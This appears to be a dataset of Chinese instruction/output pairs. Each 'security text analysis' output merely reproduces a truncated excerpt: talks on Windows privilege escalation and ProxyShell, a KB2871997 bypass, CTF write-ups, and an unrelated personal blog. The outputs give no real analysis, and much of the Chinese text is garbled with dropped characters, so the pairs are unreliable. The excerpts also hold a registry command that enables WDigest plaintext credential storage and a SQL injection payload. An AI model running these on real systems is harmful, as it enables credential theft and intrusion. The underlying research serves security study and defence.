19D901690G11 Phase 0: Preparations Make sure the radio to be converted is in good working order on its original frequencies before attempting conversion to Amateur Radio use. Phase 1: Operating Frequency Reprogramming Option 1: Hack Original GE MVS v3.0 software to allow out of range programming. Copy MVS.EXE to MVS220.EXE Using a suitable hex editor such as XVI32, Edit MVS220.EXE and make the following changes: Hex Address Original Data New Data &H1A328 C0 62 00 60 &H1A33F C0 65 20 6C &H1B8E9 C0 62 00 60 &H1B8F1 C0 65 20 6C This changes the programming range of the software to allow 128 to 225 MHz. Transmit frequencies will show true, Receive frequencies will now have to be programmed minus 90 MHz. I.E. 223.500 MHz RX is programmed as 133.500 MHz. Option 2: Use alternat", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 [show me your privileges and I will lead you to SYSTEM] Andrea Pierini, Paris, June 19th 2019 2 dir /a /r %USERPROFILE% Cyclist & Scuba Diver, Father & Husband IT Architect & Security Manager Long time experience InfoSec addicted Windows Server & Linux early adopter whoami /priv - Andrea Pierini @decoder_it | decoder.ap@gmail.com | https://decoder.cloud | https://github.com/decoder-it Cyber Saiyan Member of: 3 dir /a /r %USERPROFILE% Cyclist & Scuba Diver, Father & Husband IT Architect & Security Manager Long time experience InfoSec addicted Windows Server & Linux early adopter whoami /priv - Andrea Pierini @decoder_it | decoder.ap@gmail.com | https://decoder.cloud | https://github.com/decoder-it Cyber Saiyan The good old days Member of: 4 Why this talk Escalating privileges via Windows Privilege abusing & Token manipulation techniques are often not considered and/or misunderstood Some Windows privilege manipulations techniques are not well documented So I decided to dig deeper Abusing Token Privileges For Windows Local Privilege Escalation (Bryan Alexander & Stephen Breen) a great article which inspired me a lot! whoami /priv - Andrea Pierini 5 Agenda Intro to Windows Privileges & Tokens How to get them? Interesting privileges for escalation: SeDebug SeRestore & SeBackup & SeTakeOwnership SeTcb & SeCreateToken SeLoadDriver SeImpersonate & SeAssignPrimaryToken From Rotten Potato to Juicy Potato Prevention Final thoughts whoami /priv - Andrea Pierini 6 What are Windows Privileges? A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers, or changing the system time (msdn.microsoft.com) Some Users/Groups have predefined privileges Privileges are managed through the User Right Assignment of the Local Policies, but you can play with them using the Windows APIs too Some privileges can override permissi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nConducting Massive Attacks With Open Source Distributed Computing By Alejandro Caceres (@DotSlashPunk) DEF CON 21 How to (almost) get fired from your job Step 1: Speak at a hacker con on your open source community-focused side project (PunkSPIDER) - Combined distributed computing (my main area of research) with web application fuzzing - Was pretty cool (if I do say so myself) Step 2: Have a friend of a high-level executive at your company stumble upon talk at said con Step 3: Have said friend confuse community-focused web app security side project for a cyber weapon and tell executive that youre building a cyber weapon in your spare time. Step 4: DEF CON 21 Why did I just tell you that story? It was the inspiration for this talk got me thinking about the following: What would it take to build true distributed network attack tools? Where can distributed computing help the most? How can one simply and quickly build distributed attack tools to do whatever it is youre into We wont judge - but dont do anything illegal. Seriously. Please? Ah whatever, youre not listening anyway. My goal is simply to explore some of the possible answers to these questions DEF CON 21 Distributed Computing Today Great advances in distributed computing lately Apache Hadoop Googles MapReduce papers and implementation details Weve seen some great stuff come out of this Data Analytics Super fast data processing (for faster analytics) Counting things (analytics) Analyzing things (analytics) You might notice a trend in the above uses of distributed computing or big data technologies if youre into buzzwords (looking at you Splunk, IBM, EMC, etc. etc. etc.) Spoiler: were mostly using it for data analytics This bores me DEF CON 21 Distributed Computing In the (distant) Future My main thing is using distributed computing / big data technologies for massive attacks Most of my research thus far has been in application-level attacks I want to dive into this area and see whats possib", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 工控协议

    --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 - [工控协议](#工控协议) - [免责声明](#免责声明) - [大纲](#大纲) - [S7Comm](#s7comm) - [S7comm-plus](#s7comm-plus) - [TPKT](#tpkt) - [COTP](#cotp) - [Ethernet/IP](#ethernetip) - [Modbus](#modbus) - [Modbus功能码](#modbus功能码) - [Profinet](#profinet) - [PROFIBUS](#profibus) - [DNP3](#dnp3) - [ICCP](#iccp) - [OPC](#opc) - [Niagara-Fox](#niagara-fox) - [BACnet](#bacnet) - [GE-SRTP](#ge-srtp) - [HART-IP](#hart-ip) - [PCWorx](#pcworx) - [MELSEC-Q](#melsec-q) - [OMRON-FINS](#omron-fins) - [Crimson-v3](#crimson-v3) - [Codesys](#codesys) - [ProConOS](#proconos) - [moxa-nport](#moxa-nport) --- ## S7Comm S7CommS7 Communication是西门子专有的协议是西门子 S7 通讯协议簇里的一种 > shodan : \"port:102\" **相关文章** - [工控安全 | 西门子通信协议S7COMMPart 1](https://www.freebuf.com/articles/ics-articles/188159.html) - [工控安全 | 西门子通信协议S7COMMPart 2](https://www.freebuf.com/articles/ics-articles/188606.html) - [S7comm - The Wireshark Wiki](https://wiki.wireshark.org/S7comm) - [西门子通信协议S7Comm](https://web.archive.org/web/20190925060928/https://laucyun.com/3aa43ada8cfbd7eca51304b0c305b523.html) **相关资源** - [(完整版)西门子S7协议解析](https://wenku.baidu.com/view/c29ee884366baf1ffc4ffe4733687e21ae45ff5f.html#) **S7comm 协议** - [S7comm 相关](./S7comm相关.md) **抓包分析** - 见 [Wireshark笔记](../BlueTeam/实验/流量分析.md#s7comm) 案例中 s7comm 部分 **仿真搭建** - [siemens](./PLC攻击.md#siemens) --- ## S7comm-plus **相关文章** - [西门子S7comm-plus通信过程及重放攻击分析](https://www.freebuf.com/articles/ics-articles/220239.html) --- ## TPKT TPKT 协议是应用层数据传输协议介于 TCP 和 COTP 协议之间这是一个传输服务协议主要用来在 COTP 和 TCP 之间建立桥梁 随着 TCP 越来越流行大约在1995年左右需要一种在 TCP 传输之上封装 ISO 服务的机制因为这两个协议都具有相似的任务而 COTP 如今已经过时了 TPKT 使用 TCP 作为其传输协议 TPKT 通信的 TCP 端口是 102 TPKT 是一种 \"封装 \"协议它在自己的数据包的数据 Payload 中携带 OSI 数据包然后将产生的结构传递给 TCP至此数据包被当作 TCP/IP 数据包处理传递数据给 TPKT 的 OSI 程序并不知道自己的数据将通过 TCP/IP 进行传输因为 TPKT 模拟了 OSI 协议传输服务接入点(TSAP) 其中TPKT 的结构为 - 0 (Unsigned integer, 1 byte): Version版本信息 - 1 (Unsigned inte", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ndf === 显示磁盘的相关信息 ## 补充说明 **df命令** 用于显示磁盘分区上的可使用的磁盘空间默认显示单位为KB可以利用该命令来获取硬盘被占用了多少空间目前还剩下多少空间等信息 ### 语法 ```shell df(选项)(参数) ``` ### 选项 ```shell -a或--all包含全部的文件系统 --block-size=<区块大小>以指定的区块大小来显示区块数目 -h或--human-readable以可读性较高的方式来显示信息 -H或--si与-h参数相同但在计算时是以1000 Bytes为换算单位而非1024 Bytes -i或--inodes显示inode的信息 -k或--kilobytes指定区块大小为1024字节 -l或--local仅显示本地端的文件系统 -m或--megabytes指定区块大小为1048576字节 --no-sync在取得磁盘使用信息前不要执行sync指令此为预设值 -P或--portability使用POSIX的输出格式 --sync在取得磁盘使用信息前先执行sync指令 -t<文件系统类型>或--type=<文件系统类型>仅显示指定文件系统类型的磁盘信息 -T或--print-type显示文件系统的类型 -x<文件系统类型>或--exclude-type=<文件系统类型>不要显示指定文件系统类型的磁盘信息 --help显示帮助 --version显示版本信息 ``` ### 参数 文件指定文件系统上的文件 ### 大小格式 显示值以 `--block-size` 和 `DF_BLOCK_SIZE``BLOCK_SIZE` 和 `BLOCKSIZE` 环境变量中的第一个可用 `SIZE` 为单位 否则单位默认为 `1024` 个字节如果设置 `POSIXLY_CORRECT`则为`512` SIZE是一个整数和可选单位例如10M是10 * 1024 * 1024 单位是KMGTPEZY1024的幂或KBMB...1000的幂 ### 实例 查看系统磁盘设备默认是KB为单位 ```shell [root@LinServ-1 ~]# df 文件系统 1K-块 已用 可用 已用% 挂载点 /dev/sda2 146294492 28244432 110498708 21% / /dev/sda1 1019208 62360 904240 7% /boot tmpfs 1032204 0 1032204 0% /dev/shm /dev/sdb1 2884284108 218826068 2518944764 8% /data1 ``` 使用`-h`选项以KB以上的单位来显示可读性高 ```shell [root@LinServ-1 ~]# df -h 文件系统 容量 已用 可用 已用% 挂载点 /dev/sda2 140G 27G 106G 21% / /dev/sda1 996M 61M 884M 7% /boot tmpfs 1009M 0 1009M 0% /dev/shm /dev/sdb1 2.7T 209G 2.4T 8% /data1 ``` 查看全部文件系统 ```shell [root@LinServ-1 ~]# df -a 文件系统 1K-块 已用 可用 已用% 挂载点 /dev/sda2 146294492 28244432 110498708 21% / proc 0 0 0 - /proc sysfs 0 0 0 - /sys devpts 0 0 0 - /dev/pts /dev/sda1 1019208 62360 904240 7% /boot tmpfs 1032204 0 1032204 0% /dev/shm /dev/sdb1 2884284108 218826068 2518944764 8% /data1 none 0 0 0 - /proc/sys/fs/binfmt_misc ``` 显示 `public` 目录中的可用空间量如以下输出中所示 ```shell df public # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/loop0 18761008 15246924 2554392 86% /d Avail ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Writeup Plaid CTF 2016 Team: c7f.m0d3, akrasuski1, cr019283, nazywam, shalom, mnmd21891, msm, rev ### Table of contents * [Rabit (Crypto)](crypto_rabit) * [Tonnerre (Crypto)](crypto_tonnerre) * [Pixelshop (Web)](web_pixelshop) * [Hevc (Misc)](misc_hevc) * [Morset (Misc)](misc_morset) * [The stuff (Misc)](misc_the_stuff) * [Untitled (Misc)](misc_untitled) * [Pound (Pwn)](pwnable_pound) * [Quixotic (Re)](reversing_quixotic)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#proxyshell for workload 从发布上个文章后好多从那个文章加微信的朋友都提到了负载问题但是搬家没时 间看最近刚搬完家看了一下大致解决了这个问题顺便做一个记录脚本已公开至 个人 github https://github.com/wudicainiao/proxyshell-for-exchange_workload 0x02 Wsman 发送请求时有顺序的序列而遇到负载时这个特点会造成顺序发送请求时 有些请求发给了负载的其他机器从而造成 cmdlet 调用失败会报错如下 但是并不是所有这个报错的都是负载sid 认证失败后如果还持续发送请求也会报 该错误 具体看目标是否存在负载可查看 response header 中 X-CalculatedBETarget 的值是否 有变化就可知道目标是不是负载或大概有多少个负载服务器 这个问题上一开始并没有想到如何解决当时想着去看下 wsman 能不能压缩请求 次数看一下怎么改造这个库文件 之后又突然想到把思路颠倒一下实际上这个问题就如链接 webshell 时遇到的负载问 题一样逆向思维我们只要确保每个请求都发给了目标负载就可解决这个问题改造 原 poc主要的修改代码如下 测试执行 get-user 等有很多个请求包的 cmdlet已可稳定利用但是在针对有数十个 负载的目标时候还需要重新写一下脚本以提高效率 Ref: https://github.com/dmaasland/proxyshell-poc", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBypass KB2871997 0x01 KB2871997 1 2014513 2 2014 7 8 (CredSSP) 2973351 Microsoft 2919355 Windows 2975625 Microsoft 2919355 Windows 2014 9 9 2982378 Microsoft : Windows 7 Windows Server 2008 R2 2014 10 14 2984972 Windows 7 Windows Server 2008 R2 2984976 2592687 8.0 Windows 7 Windows Server 2008 R2 2984976 2984972 2984981 2830477 8.1 Windows 7 Windows Server 2008 R2 2984981 2984972 2973501 Windows 8Windows Server 2012 Windows RT 0x02 TokenLeakDetectDelaySecs 1 Win7Win8 1 TokenLeakDetectDelaySecs 2 WDigest 1 2 2 dword 30 30 3 3126593 (MS16-014) 3126593 TokenLeakDetectDelaySecs 0 0x03 WDigest 1 Wdigest WDigest UseLogonCredential UseLogonCredential 0WDigest 1 2Bypass KB2871997 Win7Server 2008 R2Windows 8 Server 2012 UseLogonCredential 1 Windows 8.1 Server 2012 R2 ( ,UseLogonCredential 0 WDigest UseLogonCredential 1 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\TokenLeakDetectDela ySecs 1 HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDige st 1 reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 1 0x04 KB2871997 1SID whoami /priv SID reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 1 rundll32.exe user32.dll LockWorkStation 1 #include int main(){ LockWorkStation(); return 0; } 1 2 3 4 5 //cs desktop [explorer pid] x86|x64 low|high //msf migrate [explorer pid] screenshot 1 2 3 4 5 6 S-1-5-113: NT AUTHORITY\\Local S-1-5-114: NT AUTHORITY\\Local 1 2 SID S-1-5-113 S-1-5-114 Administrators 114 113 SID \"\"\" / 2Restricted Admin RDP Overpass-the-hash) Restricted Admin RDP Client Windows 8.1 Windows Server 2012 R2 Windows 7 Windows Server 2008 R2 KB2871997KB2973351 Restricted Admin mode (2) 13126593 2 (DisableRestrictedAdmin 0 1 ) Restricted Admin mod RDP Restricted Admin mode Pass the Hash with Remote Desktop Restricted Admin mode Windows Pass The Hash (Pass the Hash with Remote Desktop) Server Restricted Admin m", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Empire1 Web Exploitation, 400 points ## Description: > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/45012/ Can you first find the secret code they assigned to you? ## Solution: The attached website provides registration and login pages, which do not seem to contain any vulnerabilities. After registering and signing in, the service allows submitting a TODO via the following form: ```html
    ``` The result is later available on another page, for example: ```html

    Things You Gotta Do

    • Very Urgent: Test
    ``` The \"Very Urgent:\" prefix is automatically prepended to any text provided by the user. After trying different strategies, I found that the page is vulnerable to SQL injection using the following syntax: ``` '||(SQL)||' ``` For example: ``` '||(select tbl_name FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE)||' ``` Using the following interactive shell, it is possible to test different SQL queries and see the result: ```python import re import html import requests from cmd import Cmd from bs4 import BeautifulSoup class Empire1(object): BASE_URL = \"https://2019shell1.picoctf.com/problem/45012\" def __init__(self): self.session = requests.Session() def login(self, username, password): text = self.post(se", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPRESENTED BY: Mandiant, A FireEye Company. All rights reserved. Investigating PowerShell Attacks Defcon 2014 (Pre-Conference Draft) Ryan Kazanciyan, Matt Hastings Mandiant, A FireEye Company. All rights reserved. Background Case Study 2 Attacker Client Victim VPN WinRM, SMB, NetBIOS Victim workstations, servers Fortune 100 organization Compromised for > 3 years Active Directory Authenticated access to corporate VPN Command-and-control via Scheduled tasks Local execution of PowerShell scripts PowerShell Remoting Mandiant, A FireEye Company. All rights reserved. It can do almost anything Why PowerShell? 3 Execute commands Reflectively load / inject code Download files from the internet Enumerate files Interact with the registry Interact with services Examine processes Retrieve event logs Access .NET framework Interface with Win32 API Mandiant, A FireEye Company. All rights reserved. PowerSploit Reconnaissance Code execution DLL injection Credential harvesting Reverse engineering Nishang Posh-SecMod Veil-PowerView Metasploit More to come PowerShell Attack Tools 4 Mandiant, A FireEye Company. All rights reserved. PowerShell Malware in the Wild 5 Mandiant, A FireEye Company. All rights reserved. Investigation Methodology 6 evil.ps1 Local PowerShell script backdoor.ps1 Persistent PowerShell Registry File System Event Logs Memory Network Traffic Sources of Evidence WinRM PowerShell Remoting Mandiant, A FireEye Company. All rights reserved. Has admin (local or domain) on target system Has network access to needed ports on target system Can use other remote command execution methods to: Enable execution of unsigned PS scripts Enable PS remoting Attacker Assumptions 7 Mandiant, A FireEye Company. All rights reserved. Version Reference 8 2.0 3.0 4.0 Default Default (R2) Default Default Default (SP1) Default (R2 SP1) Requires WMF 3.0 Update Requires WMF 3.0 Update Requires WMF 4.0 Update Requires WMF 4.0 Update Requires WMF 4.0 Update Memory Analysis Mandiant, A FireEy", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDevil&is&in&the&Details:&Revealing&How& Linux&Kernel&put_user at&Risk Edward&Lo&and&Chiachih Wu C0RE&Team About&Us 羅元琮 (Edward) 奇虎 360&安全研究開發工程師 專職內核漏洞挖掘與利用 360&超級 ROOT&技術負責人 吳家志 (@chiachih_wu) 奇虎 360&安全研究開發工程師 Android/Linux 系統安全研究 C0RE&Team&(c0reteam.org)&創始成員 CVE-2013-2094&(perf_swevent_init) CVE-2013-2597&(acdb) In&the&Summer&of&2013& CVE-2012-4220&(diag) CVE-2012-6422&(ExynosAbuse) Nothing&Beats&HTC&Desire&V&(t328w)! CVE-2013-6123&(video100) cvedetails.com cvedetails.com CVE-2009-2848 put_user(x,&addr)&on&ARM32 addr&is&checked&by&Hardware&with& STRT/STRBT/STRHT&Instructions When&CONFIG_CPU_USE_DOMAINS&is¬&set,& put_user()&=&Arbitrary&Memory&Write In&the&Spring&of&2014& What&if&I&do&grep r&__put_user *&? CAUTION:&__put_user.*()&=&Arbitrary& Memory&Write Timetable Date Event put_user of/ Upstream/ Kernel/ put_user of Android/ Kernel __put_user_*/ w/o/explicit/ address/ validations 2010-11-04 T¯o&and&CONFIG_CPU_USE_DOMAINS&is& upstreamed& Vulnerable Vulnerable Vulnerable 2012-01-25 T¯o&is&renamed&to&TUSER Vulnerable Vulnerable Vulnerable 2012-09-09 !CONFIG_CPU_USE_DOMAINS&case&is&fixed Vulnerable Vulnerable 2013-07 put_user&vulnerability&is&identified&by&us& through&clone() Vulnerable Vulnerable 2013-09-11 The&incomplete&patch&to&fix&__put_user_*& vulnerability&is&upstreamed Vulnerable Vulnerable 2013-11-14 Most&Android&OS&maintainers&start&merging&the& patch&to&fix&!CONFIG_CPU_USE_DOMAINS&case& (CAF&disclose&the&details&of&CVE-2013-6282) Vulnerable 2016-7-31 __put_user_*&vulnerability&is&identified&by&us& through&code/patches&auditing Vulnerable 0-day We&identify&a&0-day&in&the&ARM/Linux&kernel& (CVE-2016-3857) (contd) Up&to&present&we&have&identified&that&two& Google&Nexus&phones&are&vulnerable:&Nexus&4,& and&Nexus&7&(2013&version) Besides,&the&Huawei&Honor&4X/6/6&Plus&series,& Huawei&Ascend&Mate7&series,&and&some&other& models&of&Huawei,&Lenovo,&Meizu,&OPPO,& Samsung,&Sony,&Xiaomi devices&are&also& vulnerable (contd) Vendor Series Model G", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Python101 --- ## 加解密 **HASH** ```py import hashlib # md5, sha1, sha224, sha256, sha384, sha512 s = 'hello world' m = hashlib.md5() m.update(s.encode('utf8')) print(m.digest()) print(m.hexdigest()) # ripemd160, whirlpool s = 'hello world' m = hashlib.new('ripemd160', s.encode('utf8')) print(m.digest()) print(m.hexdigest()) ``` **RSA gmpy2** ```py import gmpy2 p = 168870409632549765296862502254899759857248288652407554850383477768823119986297924033151555409082356346297282197467254809081931208549224155851315637344747298357415893525472097154103238042019866682938382139834279447488738548244853184293595933654527554670457923545588565351501521501815389298997833861578226633099 q = 136505636991931352215759862754723380107419404176934963805672183755717752956589135238497377957828097441347957566489629211243389022288160648357324629288547621047463026266886900467398707294913322326802718447765393605735412855505214780439471729354761056917299208670362196028628829497574575055117449119342100056517 e = 65537 n = p * q fn = (p - 1) * (q - 1) d = gmpy2.invert(e, fn) # encode plain = \"hello world\" cipher = gmpy2.powmod(int(plain.hex(),16), e, n) print cipher # decode cipher = 17123126358168532314364171789745947147158203528255189528376034042576955961464108007241396193221317579386199055678187296416631757350036173529280264692509105557539380445658352098757386832691606291403716717255406122398828996166165137869000756490419628668837727171987655840934249710275220041791912411702429566338522067039808551028470065040909781794268938955092150084715883613062506445552253043511850366325327543440113474870896494812927181373067664361593089869517445577240126156141735331979758927134194252186254770372018574046630061371952143328299376196926784339615150604268752279279335534713614030849861471450015448322452 plaint = gmpy2.powmod(cipher, d, n) s = '%x' % plaint if len(s) % 2 != 0: s = '0' + s print(s) ``` --- ## 编码 **中文转十六进制** ```py >>> '测试'.encode('utf-8') b'\\xe6\\xb5\\x8b\\xe8\\xaf\\x95' ``` **字节数组与十六进制** ```py # 字节数组 by", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPacketFence, the Open Source NAC: What we've done in the last two years Salivating on NAC secret sauce Presentation Plan What's Network Access Control (NAC) The secret sauce The Open Source differentiator The good and the bad of 2 years as lead developer The Future of PacketFence (aka World Domination Roadmap) Community bonding! Who I am Olivier Bilodeau System architect working at Inverse inc PacketFence lead developer since 2009 Teaching InfoSec to undergraduate in Montreal ... new father, Open Source nuts, enjoying CTFs a lot, android developer, brewing beer Social stuff twitter: @packetfence / identi.ca: @plaxx delicious: plaxxx / linkedin: olivier.bilodeau What's Network Access Control (NAC) NAC elevator pitch NAC: Network Access (or Admission) Control Authentication Map usernames to IP addresses (or MAC addresses) Admission Allow, partially allow or deny users or devices Control Watch for unauthorized stuff Including: Outdated AV, patch-level, scanning corporate servers, spreading malware, ... Know who is using your network and making sure they behave What NAC has become Remediation of users Crush helpdesk costs by giving users their own path to fix their problems Guest management Asset/Inventory management Simplified access layer configuration Reduce network mgmt costs by centralizing decisions on a srv The secret sauce The technology Mostly Perl some PHP Leveraging open source* Designed with high-availability in mind active-passive clustering Key design decisions Out of band* Edge enforcement* No Agent Web-based captive portal Listen to everything Out of band At first, relying on SNMP Traps* next slide is about that LinkUp / LinkDown events MAC Nofication events Port-Security (SecurityViolation) events Then RADIUS-based techniques emerged Wireless MAC-Authentication* Wireless 802.1X* followed by Wired MAC-Auth and 802.1X Edge enforcement: SNMP Traps based Events on network hardware generates Traps PacketFence reacts on the traps Uses SNMP to authorize the MA", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAbusing Adobe Readers JavaScript APIs Brian Gorenc, Manager, Vulnerability Research AbdulAziz Hariri, Security Researcher Jasiel Spelman, Security Researcher Agenda Introduction Understanding the Attack Surface Vulnerability Discovery Constructing the Exploit Introduction Introduction 4 HP Zero Day Initiative AbdulAziz Hariri - @abdhariri Security Researcher at the Zero Day Initiative Root cause analysis, vulnerability discovery, and exploit development Jasiel Spelman - @WanderingGlitch Security Researcher at the Zero Day Initiative Root cause analysis, vulnerability discovery, and exploit development Brian Gorenc - @maliciousinput Head of Zero Day Initiative Organizer of Pwn2Own Hacking Competitions Research starting in December 2014 Bug Hunters Patched Vulnerabilities CVE-2015-5085, CVE-2015-5086, CVE-2015-5090, CVE-2015-5091, CVE-2015-4438, CVE-2015-4447, CVE-2015-4452, CVE-2015-5093, CVE-2015-5094, CVE-2015-5095, CVE-2015-5101, CVE-2015-5102, CVE-2015-5103, CVE-2015-5104, CVE-2015-5113, CVE-2015-5114, CVE-2015-5115, CVE-2015-5100, CVE-2015-5111, CVE-2015-4435, CVE-2015-4441, CVE-2015-4445, CVE-2015-3053, CVE-2015-3055, CVE-2015-3057, CVE-2015-3058, CVE-2015-3065, CVE-2015-3066, CVE-2015-3067, CVE-2015-3068, CVE-2015-3071, CVE-2015-3072, CVE-2015-3073, CVE-2015-3054, CVE-2015-3056, CVE-2015-3061, CVE-2015-3063, CVE-2015-3064, CVE-2015-3069, CVE-2015-3060, CVE-2015-3062 Unpatched Vulnerabilities ZDI-CAN-3051, ZDI-CAN-3050, ZDI-CAN-3049, ZDI-CAN-3048, ZDI-CAN-3047, ZDI-CAN-3046, ZDI-CAN-3043, ZDI-CAN-3036, ZDI-CAN-3022, ZDI-CAN-3021, ZDI-CAN-2019, ZDI-CAN-3018, ZDI-CAN-3017, ZDI-CAN-3016, ZDI-CAN-3015, ZDI-CAN-2998, ZDI-CAN-2997, ZDI-CAN-2958, ZDI-CAN-2816, ZDI-CAN-2892, ZDI-CAN-2893 more to come. 5 Understanding the Attack Surface Understanding Attack Surface 7 Prior research and resources The life of an Adobe Reader JavaScript bug (CVE-2014-0521) - Gábor Molnár First to highlight the JS API bypass issue The bug was patched in APSB14-15 and was assigned CVE", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CS-hAcked Category: Networks, 60 Points ## Description >``` uuuuuuu > uu$$$$$$$$$$$uu > uu$$$$$$$$$$$$$$$$$uu > u$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$\" \"$$$\" \"$$$$$$u > \"$$$$\" u$u $$$$\" > $$$u u$u u$$$ > $$$u u$$$u u$$$ > \"$$$$uu$$$ $$$uu$$$$\" > \"$$$$$$$\" \"$$$$$$$\" > u$$$$$$$u$$$$$$$u > u$\"$\"$\"$\"$\"$\"$u > uuu $$u$ $ $ $ $u$$ uuu > u$$$$ $$$$$u$u$u$$$ u$$$$ > $$$$$uu \"$$$$$$$$$\" uu$$$$$$ > u$$$$$$$$$$$uu \"\"\"\"\" uuuu$$$$$$$$$$ > $$$$\"\"\"$$$$$$$$$$uuu uu$$$$$$$$$\"\"\"$$$\" > \"\"\" \"\"$$$$$$$$$$$uu \"\"$\"\"\" > uuuu \"\"$$$$$$$$$$uuu > u$$$uuu$$$$$$$$$uu \"\"$$$$$$$$$$$uuu$$$ > $$$$$$$$$$\"\"\"\" \"\"$$$$$$$$$$$\" > \"$$$$$\" \"\"$$$$\"\" > $$$\" $$$$\" > CS-hAcked > ``` > > Dear fellow, we've heard you've got some hacking skills - this is the time to use them ;) > > For some time now we've been investing great efforts to get a hold of an extremely dangerous hacking team network that goes by the name \"CS-hAcked\". > > According to our intelligence, we believe that on this network they transfer their secret combination - being used as a trigger to every major attack they commit. > > Recently we've come to a major breakthrough, successfully completing an operation to achieve remote control on one of the computers in the network. > > That's where you get into the picture. > > Your mission, should you choose to accept it, is to infiltrate their network using our implanted backdoor, and reveal once and for all the secret combination to finally get the secret flag. > > Thanks to our dedicated intelligence researchers we gathered the following information for you that might assist you: > > 1. We know the dictionary of words they've used over time. It's highly probable they'll use it for their current combination. > 2. Our backdoor PC credentials - IP: 3.126.154.76 , port:2222, username:csa, pass:123123 > 3. The flag server IP: 3.126.154.76 port: 80 > > And perhaps the following could help you as well: > * https://en.wikipedia", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n到了提笔写年终总结的时候和以前拼命想记录活状态不同这次我却不知道从哪开始写起就想到啥写啥 吧 北京 今年年初来到了北京没有了昔了朋友在北京还是很孤独的跨年夜我和朋友吃完晚饭说想找个地起 跨年竟然发现没有什么好去的地想到三屯离我们最近那边应该好玩打开打软件发现附近堵已经堵 了条街了瞬间打消了去意想买点东回家吃但是已经快10点附近超市什么的都关了也想不到买点 啥就这样两空空回到出租屋和好友们在游戏中度过了跨年的钟声 Hacking8安全信息流 写总结第个想到的就是总结下hacking8这是我今年花费时间最多的个东我得好好总结下从去年五 号写第代码到现在从中踩了不少坑和学到了不少东 去年的总结中 站很段时间都是开放注册需要解题才能获得邀请码这样很酷前注册数已经有700多了 每天约会有5个签到 平均每天会有200来个独IP访问 今年这个数字都翻倍了注册户到了 1700+ 每天约会有 40 签到站ip达到了 500-600 这不算是很的增不过对于我个来说还是很激动毕竟有越来越多的认可了hacking8 之前服务器部署些服务都抠抠搜搜今年索性买了台好点的服务器来持些研究也上了全索引让 搜索更加便 今年上半年花了很多时间在修改hacking8的bug上因为涉及户系统的操作代码量的成倍增加会web挂 了会爬挂了会要处理些具服务的bug服务挂掉后会通过 Bark 机提醒我但我把它声 提醒早早就关闭了因为有时候晚上会直响 常常就是早上醒来发现了提醒99+的错误消息然后每次都要重新登陆上服务器检查服务修改bug重启 服务 下半年我决改掉这些不想在过多去动操作了想让hacking8全程都动起来此时才明开发中动测试 的重要性于是做了键动部署/重启爬动测试爬失效状态动化的服务监测系统等等开发完后就 很少再登陆服务器检查错误了觉得还不错 新功能 常在做的还有不停的砍需求经过这么年hacking8的主体功能就是信息流的推送具外加些其他的辅 助功能平时我会有很多新的想法但奈何只有我业余开发维护很多想法突然来了灵感就想加上此 时我的另个脑袋就会拼命拉住我说不让弹会 所以什么周报总结github监控微信公众号监控等等都被我否掉了精实在有限之前还想模仿即刻做户 的圈社区写了个笔记记录了下想法之后也被我否掉了因为我还没有能能运营起个圈社区不能营 造那种氛围 Hacking8的界主体还是 bootstrap 框架搭建的年过去还是没有丝丝改变虽然较简陋看了也就习 惯了界上改变的就是把图标焕然新了把原先的 Font AweSome 换成了阿的 iconfont 也算是有个新 象 Hacking8在今年也加了些功能通常就是些想法将它实现为了在线的式 这些功能通常也都写了博客记录了如 加动化成器 https://x.hacking8.com/post-430.html CS上线器 https://x.hacking8.com/post-428.html dll2shellcode https://x.hacking8.com/post-413.html 8微信机器 刚开始做微信机器主要的是监控公众号的后有点想法想做个群聊机器对接信息流的最新数据于 学习定时推送或主动@机器推送然后机器第天就被加爆了被官控现在还没解封 写这篇章前天想到个点看在元旦能不能给安排上 